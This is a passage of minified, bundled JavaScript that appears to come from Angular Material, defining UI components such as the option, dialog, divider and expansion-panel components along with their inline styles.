new(e||t)(i.Y36(i.SBq),i.Y36(i.R0b),i.Y36(c.t4),i.Y36(Q,8),i.Y36(d.Qb,8))},t.\u0275dir=i.lG2({type:t,selectors:[["","mat-ripple",""],["","matRipple",""]],hostAttrs:[1,"mat-ripple"],hostVars:2,hostBindings:function(t,e){2&t&&i.ekj("mat-ripple-unbounded",e.unbounded)},inputs:{radius:["matRippleRadius","radius"],disabled:["matRippleDisabled","disabled"],trigger:["matRippleTrigger","trigger"],color:["matRippleColor","color"],unbounded:["matRippleUnbounded","unbounded"],centered:["matRippleCentered","centered"],animation:["matRippleAnimation","animation"]},exportAs:["matRipple"]}),t})(),X=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[w,c.ud],w]}),t})(),tt=(()=>{class t{constructor(t){this._animationMode=t,this.state="unchecked",this.disabled=!1}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(d.Qb,8))},t.\u0275cmp=i.Xpm({type:t,selectors:[["mat-pseudo-checkbox"]],hostAttrs:[1,"mat-pseudo-checkbox"],hostVars:8,hostBindings:function(t,e){2&t&&i.ekj("mat-pseudo-checkbox-indeterminate","indeterminate"===e.state)("mat-pseudo-checkbox-checked","checked"===e.state)("mat-pseudo-checkbox-disabled",e.disabled)("_mat-animation-noopable","NoopAnimations"===e._animationMode)},inputs:{state:"state",disabled:"disabled"},decls:0,vars:0,template:function(t,e){},styles:['.mat-pseudo-checkbox{width:16px;height:16px;border:2px solid;border-radius:2px;cursor:pointer;display:inline-block;vertical-align:middle;box-sizing:border-box;position:relative;flex-shrink:0;transition:border-color 90ms cubic-bezier(0, 0, 0.2, 0.1),background-color 90ms cubic-bezier(0, 0, 0.2, 0.1)}.mat-pseudo-checkbox::after{position:absolute;opacity:0;content:"";border-bottom:2px solid currentColor;transition:opacity 90ms cubic-bezier(0, 0, 0.2, 0.1)}.mat-pseudo-checkbox.mat-pseudo-checkbox-checked,.mat-pseudo-checkbox.mat-pseudo-checkbox-indeterminate{border-color:transparent}._mat-animation-noopable.mat-pseudo-checkbox{transition:none;animation:none}._mat-animation-noopable.mat-pseudo-checkbox::after{transition:none}.mat-pseudo-checkbox-disabled{cursor:default}.mat-pseudo-checkbox-indeterminate::after{top:5px;left:1px;width:10px;opacity:1;border-radius:2px}.mat-pseudo-checkbox-checked::after{top:2.4px;left:1px;width:8px;height:3px;border-left:2px solid currentColor;transform:rotate(-45deg);opacity:1;box-sizing:content-box}\n'],encapsulation:2,changeDetection:0}),t})(),et=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[w]]}),t})();const nt=new i.OlP("MAT_OPTION_PARENT_COMPONENT"),it=x(class{});let st=0,rt=(()=>{class t extends it{constructor(t){var e;super(),this._labelId="mat-optgroup-label-"+st++,this._inert=null!==(e=null==t?void 0:t.inertGroups)&&void 0!==e&&e}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(nt,8))},t.\u0275dir=i.lG2({type:t,inputs:{label:"label"},features:[i.qOj]}),t})();const ot=new i.OlP("MatOptgroup");let at=0;class ct{constructor(t,e=!1){this.source=t,this.isUserInput=e}}let lt=(()=>{class t{constructor(t,e,n,s){this._element=t,this._changeDetectorRef=e,this._parent=n,this.group=s,this._selected=!1,this._active=!1,this._disabled=!1,this._mostRecentViewValue="",this.id="mat-option-"+at++,this.onSelectionChange=new i.vpe,this._stateChanges=new u.xQ}get multiple(){return this._parent&&this._parent.multiple}get selected(){return this._selected}get disabled(){return this.group&&this.group.disabled||this._disabled}set disabled(t){this._disabled=(0,l.Ig)(t)}get disableRipple(){return this._parent&&this._parent.disableRipple}get active(){return this._active}get viewValue(){return(this._getHostElement().textContent||"").trim()}select(){this._selected||(this._selected=!0,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent())}deselect(){this._selected&&(this._selected=!1,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent())}focus(t,e){const n=this._getHostElement();"function"==typeof n.focus&&n.focus(e)}setActiveStyles(){this._active||(this._active=!0,this._changeDetectorRef.markForCheck())}setInactiveStyles(){this._active&&(this._active=!1,this._changeDetectorRef.markForCheck())}getLabel(){return this.viewValue}_handleKeydown(t){(t.keyCode===p.K5||t.keyCode===p.L_)&&!(0,p.Vb)(t)&&(this._selectViaInteraction(),t.preventDefault())}_selectViaInteraction(){this.disabled||(this._selected=!this.multiple||!this._selected,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent(!0))}_getAriaSelected(){return this.selected||!this.multiple&&null}_getTabIndex(){return this.disabled?"-1":"0"}_getHostElement(){return this._element.nativeElement}ngAfterViewChecked(){if(this._selected){const t=this.viewValue;t!==this._mostRecentViewValue&&(this._mostRecentViewValue=t,this._stateChanges.next())}}ngOnDestroy(){this._stateChanges.complete()}_emitSelectionChangeEvent(t=!1){this.onSelectionChange.emit(new ct(this,t))}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.SBq),i.Y36(i.sBO),i.Y36(void 0),i.Y36(rt))},t.\u0275dir=i.lG2({type:t,inputs:{id:"id",disabled:"disabled",value:"value"},outputs:{onSelectionChange:"onSelectionChange"}}),t})(),ut=(()=>{class t extends lt{constructor(t,e,n,i){super(t,e,n,i)}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.SBq),i.Y36(i.sBO),i.Y36(nt,8),i.Y36(ot,8))},t.\u0275cmp=i.Xpm({type:t,selectors:[["mat-option"]],hostAttrs:["role","option",1,"mat-option","mat-focus-indicator"],hostVars:12,hostBindings:function(t,e){1&t&&i.NdJ("click",function(){return e._selectViaInteraction()})("keydown",function(t){return e._handleKeydown(t)}),2&t&&(i.Ikx("id",e.id),i.uIk("tabindex",e._getTabIndex())("aria-selected",e._getAriaSelected())("aria-disabled",e.disabled.toString()),i.ekj("mat-selected",e.selected)("mat-option-multiple",e.multiple)("mat-active",e.active)("mat-option-disabled",e.disabled))},exportAs:["matOption"],features:[i.qOj],ngContentSelectors:g,decls:5,vars:4,consts:[["class","mat-option-pseudo-checkbox",3,"state","disabled",4,"ngIf"],[1,"mat-option-text"],["class","cdk-visually-hidden",4,"ngIf"],["mat-ripple","",1,"mat-option-ripple",3,"matRippleTrigger","matRippleDisabled"],[1,"mat-option-pseudo-checkbox",3,"state","disabled"],[1,"cdk-visually-hidden"]],template:function(t,e){1&t&&(i.F$t(),i.YNc(0,f,1,2,"mat-pseudo-checkbox",0),i.TgZ(1,"span",1),i.Hsn(2),i.qZA(),i.YNc(3,m,2,1,"span",2),i._UZ(4,"div",3)),2&t&&(i.Q6J("ngIf",e.multiple),i.xp6(3),i.Q6J("ngIf",e.group&&e.group._inert),i.xp6(1),i.Q6J("matRippleTrigger",e._getHostElement())("matRippleDisabled",e.disabled||e.disableRipple))},directives:[a.O5,K,tt],styles:[".mat-option{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;line-height:48px;height:48px;padding:0 16px;text-align:left;text-decoration:none;max-width:100%;position:relative;cursor:pointer;outline:none;display:flex;flex-direction:row;max-width:100%;box-sizing:border-box;align-items:center;-webkit-tap-highlight-color:transparent}.mat-option[disabled]{cursor:default}[dir=rtl] .mat-option{text-align:right}.mat-option .mat-icon{margin-right:16px;vertical-align:middle}.mat-option .mat-icon svg{vertical-align:top}[dir=rtl] .mat-option .mat-icon{margin-left:16px;margin-right:0}.mat-option[aria-disabled=true]{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:default}.mat-optgroup .mat-option:not(.mat-option-multiple){padding-left:32px}[dir=rtl] .mat-optgroup .mat-option:not(.mat-option-multiple){padding-left:16px;padding-right:32px}.cdk-high-contrast-active .mat-option{margin:0 1px}.cdk-high-contrast-active .mat-option.mat-active{border:solid 1px currentColor;margin:0}.cdk-high-contrast-active .mat-option[aria-disabled=true]{opacity:.5}.mat-option-text{display:inline-block;flex-grow:1;overflow:hidden;text-overflow:ellipsis}.mat-option .mat-option-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-option-pseudo-checkbox{margin-right:8px}[dir=rtl] .mat-option-pseudo-checkbox{margin-left:8px;margin-right:0}\n"],encapsulation:2,changeDetection:0}),t})();function ht(t,e,n){if(n.length){let i=e.toArray(),s=n.toArray(),r=0;for(let e=0;e<t+1;e++)i[e].group&&i[e].group===s[r]&&r++;return r}return 0}function dt(t,e,n,i){return t<n?t:t+e>n+i?Math.max(0,t-i+e):n}let pt=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[X,a.ez,w,et]]}),t})()},22213:function(t,e,n){"use strict";n.d(e,{WI:function(){return T},uw:function(){return P},H8:function(){return M},xY:function(){return L},Is:function(){return F},so:function(){return E},uh:function(){return D}});var i=n(6199),s=n(40912),r=n(2316),o=n(24298),a=n(772),c=n(54364),l=n(79441),u=n(58640),h=n(81134),d=n(9170),p=n(53466),f=n(1143),m=n(36145),g=n(97175),_=n(90084),v=n(51606);function b(t,e){}class y{constructor(){this.role="dialog",this.panelClass="",this.hasBackdrop=!0,this.backdropClass="",this.disableClose=!1,this.width="",this.height="",this.maxWidth="80vw",this.data=null,this.ariaDescribedBy=null,this.ariaLabelledBy=null,this.ariaLabel=null,this.autoFocus=!0,this.restoreFocus=!0,this.closeOnNavigation=!0}}const w={dialogContainer:(0,g.X$)("dialogContainer",[(0,g.SB)("void, exit",(0,g.oB)({opacity:0,transform:"scale(0.7)"})),(0,g.SB)("enter",(0,g.oB)({transform:"none"})),(0,g.eR)("* => enter",(0,g.jt)("150ms cubic-bezier(0, 0, 0.2, 1)",(0,g.oB)({transform:"none",opacity:1}))),(0,g.eR)("* => void, * => exit",(0,g.jt)("75ms cubic-bezier(0.4, 0.0, 0.2, 1)",(0,g.oB)({opacity:0})))])};let x=(()=>{class t extends s.en{constructor(t,e,n,i,s,o){super(),this._elementRef=t,this._focusTrapFactory=e,this._changeDetectorRef=n,this._config=s,this._focusMonitor=o,this._animationStateChanged=new r.vpe,this._elementFocusedBeforeDialogWasOpened=null,this._closeInteractionType=null,this.attachDomPortal=t=>(this._portalOutlet.hasAttached(),this._portalOutlet.attachDomPortal(t)),this._ariaLabelledBy=s.ariaLabelledBy||null,this._document=i}_initializeWithAttachedContent(){this._setupFocusTrap(),this._capturePreviouslyFocusedElement(),this._focusDialogContainer()}attachComponentPortal(t){return this._portalOutlet.hasAttached(),this._portalOutlet.attachComponentPortal(t)}attachTemplatePortal(t){return this._portalOutlet.hasAttached(),this._portalOutlet.attachTemplatePortal(t)}_recaptureFocus(){this._containsFocus()||(!this._config.autoFocus||!this._focusTrap.focusInitialElement())&&this._elementRef.nativeElement.focus()}_trapFocus(){this._config.autoFocus?this._focusTrap.focusInitialElementWhenReady():this._containsFocus()||this._elementRef.nativeElement.focus()}_restoreFocus(){const t=this._elementFocusedBeforeDialogWasOpened;if(this._config.restoreFocus&&t&&"function"==typeof t.focus){const e=(0,m.ht)(),n=this._elementRef.nativeElement;(!e||e===this._document.body||e===n||n.contains(e))&&(this._focusMonitor?(this._focusMonitor.focusVia(t,this._closeInteractionType),this._closeInteractionType=null):t.focus())}this._focusTrap&&this._focusTrap.destroy()}_setupFocusTrap(){this._focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement)}_capturePreviouslyFocusedElement(){this._document&&(this._elementFocusedBeforeDialogWasOpened=(0,m.ht)())}_focusDialogContainer(){this._elementRef.nativeElement.focus&&this._elementRef.nativeElement.focus()}_containsFocus(){const t=this._elementRef.nativeElement,e=(0,m.ht)();return t===e||t.contains(e)}}return t.\u0275fac=function(e){return new(e||t)(r.Y36(r.SBq),r.Y36(v.qV),r.Y36(r.sBO),r.Y36(c.K0,8),r.Y36(y),r.Y36(v.tE))},t.\u0275dir=r.lG2({type:t,viewQuery:function(t,e){if(1&t&&r.Gf(s.Pl,7),2&t){let t;r.iGM(t=r.CRH())&&(e._portalOutlet=t.first)}},features:[r.qOj]}),t})(),C=(()=>{class t extends x{constructor(){super(...arguments),this._state="enter"}_onAnimationDone({toState:t,totalTime:e}){"enter"===t?(this._trapFocus(),this._animationStateChanged.next({state:"opened",totalTime:e})):"exit"===t&&(this._restoreFocus(),this._animationStateChanged.next({state:"closed",totalTime:e}))}_onAnimationStart({toState:t,totalTime:e}){"enter"===t?this._animationStateChanged.next({state:"opening",totalTime:e}):("exit"===t||"void"===t)&&this._animationStateChanged.next({state:"closing",totalTime:e})}_startExitAnimation(){this._state="exit",this._changeDetectorRef.markForCheck()}}return t.\u0275fac=function(){let e;return function(n){return(e||(e=r.n5z(t)))(n||t)}}(),t.\u0275cmp=r.Xpm({type:t,selectors:[["mat-dialog-container"]],hostAttrs:["tabindex","-1","aria-modal","true",1,"mat-dialog-container"],hostVars:6,hostBindings:function(t,e){1&t&&r.WFA("@dialogContainer.start",function(t){return e._onAnimationStart(t)})("@dialogContainer.done",function(t){return e._onAnimationDone(t)}),2&t&&(r.Ikx("id",e._id),r.uIk("role",e._config.role)("aria-labelledby",e._config.ariaLabel?null:e._ariaLabelledBy)("aria-label",e._config.ariaLabel)("aria-describedby",e._config.ariaDescribedBy||null),r.d8E("@dialogContainer",e._state))},features:[r.qOj],decls:1,vars:0,consts:[["cdkPortalOutlet",""]],template:function(t,e){1&t&&r.YNc(0,b,0,0,"ng-template",0)},directives:[s.Pl],styles:[".mat-dialog-container{display:block;padding:24px;border-radius:4px;box-sizing:border-box;overflow:auto;outline:0;width:100%;height:100%;min-height:inherit;max-height:inherit}.cdk-high-contrast-active .mat-dialog-container{outline:solid 1px}.mat-dialog-content{display:block;margin:0 -24px;padding:0 24px;max-height:65vh;overflow:auto;-webkit-overflow-scrolling:touch}.mat-dialog-title{margin:0 0 20px;display:block}.mat-dialog-actions{padding:8px 0;display:flex;flex-wrap:wrap;min-height:52px;align-items:center;box-sizing:content-box;margin-bottom:-24px}.mat-dialog-actions[align=end]{justify-content:flex-end}.mat-dialog-actions[align=center]{justify-content:center}.mat-dialog-actions .mat-button-base+.mat-button-base,.mat-dialog-actions .mat-mdc-button-base+.mat-mdc-button-base{margin-left:8px}[dir=rtl] .mat-dialog-actions .mat-button-base+.mat-button-base,[dir=rtl] .mat-dialog-actions .mat-mdc-button-base+.mat-mdc-button-base{margin-left:0;margin-right:8px}\n"],encapsulation:2,data:{animation:[w.dialogContainer]}}),t})(),S=0;class E{constructor(t,e,n="mat-dialog-"+S++){this._overlayRef=t,this._containerInstance=e,this.id=n,this.disableClose=this._containerInstance._config.disableClose,this._afterOpened=new l.xQ,this._afterClosed=new l.xQ,this._beforeClosed=new l.xQ,this._state=0,e._id=n,e._animationStateChanged.pipe((0,d.h)(t=>"opened"===t.state),(0,p.q)(1)).subscribe(()=>{this._afterOpened.next(),this._afterOpened.complete()}),e._animationStateChanged.pipe((0,d.h)(t=>"closed"===t.state),(0,p.q)(1)).subscribe(()=>{clearTimeout(this._closeFallbackTimeout),this._finishDialogClose()}),t.detachments().subscribe(()=>{this._beforeClosed.next(this._result),this._beforeClosed.complete(),this._afterClosed.next(this._result),this._afterClosed.complete(),this.componentInstance=null,this._overlayRef.dispose()}),t.keydownEvents().pipe((0,d.h)(t=>t.keyCode===_.hY&&!this.disableClose&&!(0,_.Vb)(t))).subscribe(t=>{t.preventDefault(),k(this,"keyboard")}),t.backdropClick().subscribe(()=>{this.disableClose?this._containerInstance._recaptureFocus():k(this,"mouse")})}close(t){this._result=t,this._containerInstance._animationStateChanged.pipe((0,d.h)(t=>"closing"===t.state),(0,p.q)(1)).subscribe(e=>{this._beforeClosed.next(t),this._beforeClosed.complete(),this._overlayRef.detachBackdrop(),this._closeFallbackTimeout=setTimeout(()=>this._finishDialogClose(),e.totalTime+100)}),this._state=1,this._containerInstance._startExitAnimation()}afterOpened(){return this._afterOpened}afterClosed(){return this._afterClosed}beforeClosed(){return this._beforeClosed}backdropClick(){return this._overlayRef.backdropClick()}keydownEvents(){return this._overlayRef.keydownEvents()}updatePosition(t){let e=this._getPositionStrategy();return t&&(t.left||t.right)?t.left?e.left(t.left):e.right(t.right):e.centerHorizontally(),t&&(t.top||t.bottom)?t.top?e.top(t.top):e.bottom(t.bottom):e.centerVertically(),this._overlayRef.updatePosition(),this}updateSize(t="",e=""){return this._overlayRef.updateSize({width:t,height:e}),this._overlayRef.updatePosition(),this}addPanelClass(t){return this._overlayRef.addPanelClass(t),this}removePanelClass(t){return this._overlayRef.removePanelClass(t),this}getState(){return this._state}_finishDialogClose(){this._state=2,this._overlayRef.dispose()}_getPositionStrategy(){return this._overlayRef.getConfig().positionStrategy}}function k(t,e,n){return void 0!==t._containerInstance&&(t._containerInstance._closeInteractionType=e),t.close(n)}const T=new r.OlP("MatDialogData"),A=new r.OlP("mat-dialog-default-options"),I=new r.OlP("mat-dialog-scroll-strategy"),O={provide:I,deps:[i.aV],useFactory:function(t){return()=>t.scrollStrategies.block()}};let R=(()=>{class t{constructor(t,e,n,i,s,r,o,a,c){this._overlay=t,this._injector=e,this._defaultOptions=n,this._parentDialog=i,this._overlayContainer=s,this._dialogRefConstructor=o,this._dialogContainerType=a,this._dialogDataToken=c,this._openDialogsAtThisLevel=[],this._afterAllClosedAtThisLevel=new l.xQ,this._afterOpenedAtThisLevel=new l.xQ,this._ariaHiddenElements=new Map,this.afterAllClosed=(0,u.P)(()=>this.openDialogs.length?this._getAfterAllClosed():this._getAfterAllClosed().pipe((0,f.O)(void 0))),this._scrollStrategy=r}get openDialogs(){return this._parentDialog?this._parentDialog.openDialogs:this._openDialogsAtThisLevel}get afterOpened(){return this._parentDialog?this._parentDialog.afterOpened:this._afterOpenedAtThisLevel}_getAfterAllClosed(){const t=this._parentDialog;return t?t._getAfterAllClosed():this._afterAllClosedAtThisLevel}open(t,e){(e=function(t,e){return Object.assign(Object.assign({},e),t)}(e,this._defaultOptions||new y)).id&&this.getDialogById(e.id);const n=this._createOverlay(e),i=this._attachDialogContainer(n,e),s=this._attachDialogContent(t,i,n,e);return this.openDialogs.length||this._hideNonDialogContentFromAssistiveTechnology(),this.openDialogs.push(s),s.afterClosed().subscribe(()=>this._removeOpenDialog(s)),this.afterOpened.next(s),i._initializeWithAttachedContent(),s}closeAll(){this._closeDialogs(this.openDialogs)}getDialogById(t){return this.openDialogs.find(e=>e.id===t)}ngOnDestroy(){this._closeDialogs(this._openDialogsAtThisLevel),this._afterAllClosedAtThisLevel.complete(),this._afterOpenedAtThisLevel.complete()}_createOverlay(t){const e=this._getOverlayConfig(t);return this._overlay.create(e)}_getOverlayConfig(t){const e=new i.X_({positionStrategy:this._overlay.position().global(),scrollStrategy:t.scrollStrategy||this._scrollStrategy(),panelClass:t.panelClass,hasBackdrop:t.hasBackdrop,direction:t.direction,minWidth:t.minWidth,minHeight:t.minHeight,maxWidth:t.maxWidth,maxHeight:t.maxHeight,disposeOnNavigation:t.closeOnNavigation});return t.backdropClass&&(e.backdropClass=t.backdropClass),e}_attachDialogContainer(t,e){const n=r.zs3.create({parent:e&&e.viewContainerRef&&e.viewContainerRef.injector||this._injector,providers:[{provide:y,useValue:e}]}),i=new s.C5(this._dialogContainerType,e.viewContainerRef,n,e.componentFactoryResolver);return t.attach(i).instance}_attachDialogContent(t,e,n,i){const o=new this._dialogRefConstructor(n,e,i.id);if(t instanceof r.Rgc)e.attachTemplatePortal(new s.UE(t,null,{$implicit:i.data,dialogRef:o}));else{const n=this._createInjector(i,o,e),r=e.attachComponentPortal(new s.C5(t,i.viewContainerRef,n));o.componentInstance=r.instance}return o.updateSize(i.width,i.height).updatePosition(i.position),o}_createInjector(t,e,n){const i=t&&t.viewContainerRef&&t.viewContainerRef.injector,s=[{provide:this._dialogContainerType,useValue:n},{provide:this._dialogDataToken,useValue:t.data},{provide:this._dialogRefConstructor,useValue:e}];return t.direction&&(!i||!i.get(a.Is,null,r.XFs.Optional))&&s.push({provide:a.Is,useValue:{value:t.direction,change:(0,h.of)()}}),r.zs3.create({parent:i||this._injector,providers:s})}_removeOpenDialog(t){const e=this.openDialogs.indexOf(t);e>-1&&(this.openDialogs.splice(e,1),this.openDialogs.length||(this._ariaHiddenElements.forEach((t,e)=>{t?e.setAttribute("aria-hidden",t):e.removeAttribute("aria-hidden")}),this._ariaHiddenElements.clear(),this._getAfterAllClosed().next()))}_hideNonDialogContentFromAssistiveTechnology(){const t=this._overlayContainer.getContainerElement();if(t.parentElement){const e=t.parentElement.children;for(let n=e.length-1;n>-1;n--){let i=e[n];i!==t&&"SCRIPT"!==i.nodeName&&"STYLE"!==i.nodeName&&!i.hasAttribute("aria-live")&&(this._ariaHiddenElements.set(i,i.getAttribute("aria-hidden")),i.setAttribute("aria-hidden","true"))}}}_closeDialogs(t){let e=t.length;for(;e--;)t[e].close()}}return t.\u0275fac=function(e){return new(e||t)(r.Y36(i.aV),r.Y36(r.zs3),r.Y36(void 0),r.Y36(void 0),r.Y36(i.Xj),r.Y36(void 0),r.Y36(r.DyG),r.Y36(r.DyG),r.Y36(r.OlP))},t.\u0275dir=r.lG2({type:t}),t})(),P=(()=>{class t extends R{constructor(t,e,n,i,s,r,o){super(t,e,i,r,o,s,E,C,T)}}return t.\u0275fac=function(e){return new(e||t)(r.LFG(i.aV),r.LFG(r.zs3),r.LFG(c.Ye,8),r.LFG(A,8),r.LFG(I),r.LFG(t,12),r.LFG(i.Xj))},t.\u0275prov=r.Yz7({token:t,factory:t.\u0275fac}),t})(),N=0,D=(()=>{class t{constructor(t,e,n){this._dialogRef=t,this._elementRef=e,this._dialog=n,this.id="mat-dialog-title-"+N++}ngOnInit(){this._dialogRef||(this._dialogRef=function(t,e){let n=t.nativeElement.parentElement;for(;n&&!n.classList.contains("mat-dialog-container");)n=n.parentElement;return n?e.find(t=>t.id===n.id):null}(this._elementRef,this._dialog.openDialogs)),this._dialogRef&&Promise.resolve().then(()=>{const t=this._dialogRef._containerInstance;t&&!t._ariaLabelledBy&&(t._ariaLabelledBy=this.id)})}}return t.\u0275fac=function(e){return new(e||t)(r.Y36(E,8),r.Y36(r.SBq),r.Y36(P))},t.\u0275dir=r.lG2({type:t,selectors:[["","mat-dialog-title",""],["","matDialogTitle",""]],hostAttrs:[1,"mat-dialog-title"],hostVars:1,hostBindings:function(t,e){2&t&&r.Ikx("id",e.id)},inputs:{id:"id"},exportAs:["matDialogTitle"]}),t})(),L=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=r.lG2({type:t,selectors:[["","mat-dialog-content",""],["mat-dialog-content"],["","matDialogContent",""]],hostAttrs:[1,"mat-dialog-content"]}),t})(),M=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=r.lG2({type:t,selectors:[["","mat-dialog-actions",""],["mat-dialog-actions"],["","matDialogActions",""]],hostAttrs:[1,"mat-dialog-actions"]}),t})();let F=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({providers:[P,O],imports:[[i.U8,s.eL,o.BQ],o.BQ]}),t})()},1124:function(t,e,n){"use strict";n.d(e,{d:function(){return o},t:function(){return a}});var i=n(20657),s=n(24298),r=n(2316);let o=(()=>{class t{constructor(){this._vertical=!1,this._inset=!1}get vertical(){return this._vertical}set vertical(t){this._vertical=(0,i.Ig)(t)}get inset(){return this._inset}set inset(t){this._inset=(0,i.Ig)(t)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=r.Xpm({type:t,selectors:[["mat-divider"]],hostAttrs:["role","separator",1,"mat-divider"],hostVars:7,hostBindings:function(t,e){2&t&&(r.uIk("aria-orientation",e.vertical?"vertical":"horizontal"),r.ekj("mat-divider-vertical",e.vertical)("mat-divider-horizontal",!e.vertical)("mat-divider-inset",e.inset))},inputs:{vertical:"vertical",inset:"inset"},decls:0,vars:0,template:function(t,e){},styles:[".mat-divider{display:block;margin:0;border-top-width:1px;border-top-style:solid}.mat-divider.mat-divider-vertical{border-top:0;border-right-width:1px;border-right-style:solid}.mat-divider.mat-divider-inset{margin-left:80px}[dir=rtl] .mat-divider.mat-divider-inset{margin-left:auto;margin-right:80px}\n"],encapsulation:2,changeDetection:0}),t})(),a=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({imports:[[s.BQ],s.BQ]}),t})()},1625:function(t,e,n){"use strict";n.d(e,{To:function(){return G},ib:function(){return U},yz:function(){return H},yK:function(){return V}});var i=n(2316),s=n(20657),r=n(79441),o=n(11318),a=n(62604);const c=new i.OlP("CdkAccordion");let l=0,u=(()=>{class t{constructor(t,e,n){this.accordion=t,this._changeDetectorRef=e,this._expansionDispatcher=n,this._openCloseAllSubscription=o.w.EMPTY,this.closed=new i.vpe,this.opened=new i.vpe,this.destroyed=new i.vpe,this.expandedChange=new i.vpe,this.id="cdk-accordion-child-"+l++,this._expanded=!1,this._disabled=!1,this._removeUniqueSelectionListener=()=>{},this._removeUniqueSelectionListener=n.listen((t,e)=>{this.accordion&&!this.accordion.multi&&this.accordion.id===e&&this.id!==t&&(this.expanded=!1)}),this.accordion&&(this._openCloseAllSubscription=this._subscribeToOpenCloseAllActions())}get expanded(){return this._expanded}set expanded(t){t=(0,s.Ig)(t),this._expanded!==t&&(this._expanded=t,this.expandedChange.emit(t),t?(this.opened.emit(),this._expansionDispatcher.notify(this.id,this.accordion?this.accordion.id:this.id)):this.closed.emit(),this._changeDetectorRef.markForCheck())}get disabled(){return this._disabled}set disabled(t){this._disabled=(0,s.Ig)(t)}ngOnDestroy(){this.opened.complete(),this.closed.complete(),this.destroyed.emit(),this.destroyed.complete(),this._removeUniqueSelectionListener(),this._openCloseAllSubscription.unsubscribe()}toggle(){this.disabled||(this.expanded=!this.expanded)}close(){this.disabled||(this.expanded=!1)}open(){this.disabled||(this.expanded=!0)}_subscribeToOpenCloseAllActions(){return this.accordion._openCloseAllActions.subscribe(t=>{this.disabled||(this.expanded=t)})}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(c,12),i.Y36(i.sBO),i.Y36(a.A8))},t.\u0275dir=i.lG2({type:t,selectors:[["cdk-accordion-item"],["","cdkAccordionItem",""]],inputs:{expanded:"expanded",disabled:"disabled"},outputs:{closed:"closed",opened:"opened",destroyed:"destroyed",expandedChange:"expandedChange"},exportAs:["cdkAccordionItem"],features:[i._Bn([{provide:c,useValue:void 0}])]}),t})(),h=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({}),t})();var d=n(40912),p=n(54364),f=n(24298),m=n(51606),g=n(83720),_=n(1143),v=n(9170),b=n(53466),y=n(90084),w=n(71918),x=n(8117),C=n(89919),S=n(97175);const E=["body"];function k(t,e){}const T=[[["mat-expansion-panel-header"]],"*",[["mat-action-row"]]],A=["mat-expansion-panel-header","*","mat-action-row"];function I(t,e){if(1&t&&i._UZ(0,"span",2),2&t){const t=i.oxw();i.Q6J("@indicatorRotate",t._getExpandedState())}}const O=[[["mat-panel-title"]],[["mat-panel-description"]],"*"],R=["mat-panel-title","mat-panel-description","*"],P=new i.OlP("MAT_ACCORDION"),N="225ms cubic-bezier(0.4,0.0,0.2,1)",D={indicatorRotate:(0,S.X$)("indicatorRotate",[(0,S.SB)("collapsed, void",(0,S.oB)({transform:"rotate(0deg)"})),(0,S.SB)("expanded",(0,S.oB)({transform:"rotate(180deg)"})),(0,S.eR)("expanded <=> collapsed, void => collapsed",(0,S.jt)(N))]),bodyExpansion:(0,S.X$)("bodyExpansion",[(0,S.SB)("collapsed, void",(0,S.oB)({height:"0px",visibility:"hidden"})),(0,S.SB)("expanded",(0,S.oB)({height:"*",visibility:"visible"})),(0,S.eR)("expanded <=> collapsed, void => collapsed",(0,S.jt)(N))])};let L=(()=>{class t{constructor(t){this._template=t}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.Rgc))},t.\u0275dir=i.lG2({type:t,selectors:[["ng-template","matExpansionPanelContent",""]]}),t})(),M=0;const F=new i.OlP("MAT_EXPANSION_PANEL_DEFAULT_OPTIONS");let U=(()=>{class t extends u{constructor(t,e,n,s,o,a,c){super(t,e,n),this._viewContainerRef=s,this._animationMode=a,this._hideToggle=!1,this.afterExpand=new i.vpe,this.afterCollapse=new i.vpe,this._inputChanges=new r.xQ,this._headerId="mat-expansion-panel-header-"+M++,this._bodyAnimationDone=new r.xQ,this.accordion=t,this._document=o,this._bodyAnimationDone.pipe((0,g.x)((t,e)=>t.fromState===e.fromState&&t.toState===e.toState)).subscribe(t=>{"void"!==t.fromState&&("expanded"===t.toState?this.afterExpand.emit():"collapsed"===t.toState&&this.afterCollapse.emit())}),c&&(this.hideToggle=c.hideToggle)}get hideToggle(){return this._hideToggle||this.accordion&&this.accordion.hideToggle}set hideToggle(t){this._hideToggle=(0,s.Ig)(t)}get togglePosition(){return this._togglePosition||this.accordion&&this.accordion.togglePosition}set togglePosition(t){this._togglePosition=t}_hasSpacing(){return!!this.accordion&&this.expanded&&"default"===this.accordion.displayMode}_getExpandedState(){return this.expanded?"expanded":"collapsed"}toggle(){this.expanded=!this.expanded}close(){this.expanded=!1}open(){this.expanded=!0}ngAfterContentInit(){this._lazyContent&&this.opened.pipe((0,_.O)(null),(0,v.h)(()=>this.expanded&&!this._portal),(0,b.q)(1)).subscribe(()=>{this._portal=new d.UE(this._lazyContent._template,this._viewContainerRef)})}ngOnChanges(t){this._inputChanges.next(t)}ngOnDestroy(){super.ngOnDestroy(),this._bodyAnimationDone.complete(),this._inputChanges.complete()}_containsFocus(){if(this._body){const 